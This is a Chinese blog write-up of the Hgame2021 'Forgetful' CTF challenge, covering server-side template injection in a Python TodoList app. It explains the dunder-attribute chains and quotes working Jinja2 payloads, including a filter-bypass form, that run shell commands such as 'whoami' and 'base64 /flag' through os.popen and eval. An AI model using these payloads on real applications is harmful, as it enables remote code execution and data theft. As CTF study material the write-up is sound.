Hgame2021-week3-Forgetful

Forgetful

记录一下学习过程:

1.题目:Liki 总是忘记很多事情,于是她灵机一动,用新学会的 Python 写了一个 TodoList,快用起来吧!
2.过程:

讲解

页面有一个记录的功能,可以记录一些事项:

image-20210218144958771

image-20210218145011934

查看后发现7*7被执行了,存在SSTI……

跟着步骤实验:

image-20210218145203719

image-20210218145222789

看到了许多类名:

__class__ 返回type类型,查看对象的类型
__bases__ 返回tuple类型,列出该类的基类
_mro_\ 返回tuple类型,给出解析方法调用的顺序
_subclasses_\() 返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ 返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量

那怎么从这么多的类中找到一个包含我们需要模块的一个类呢,用脚本吗……

我随手登录的账号已经有了一位老哥的操作:

image-20210219104825834

查了一下:

是一个方法,从中可以直接调用os执行命令……tql

安洵杯2020 官方Writeup:

1
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

=》

1
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}

这里的print绕过{{}}attr绕过.,Unicode应该是绕过一些字符过滤。

利用这个方法去读:

image-20210219105812356

学长是用base64去读的:

1
{{lipsum.__globals__['os'].popen('base64 /flag').read()}}

这样就可以读取了:

image-20210219110538824

1
{{''.__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("base64 /flag").read()')}}

也ok

作者

inanb

发布于

2021-02-18

更新于

2021-09-25

许可协议


:D 一言句子获取中...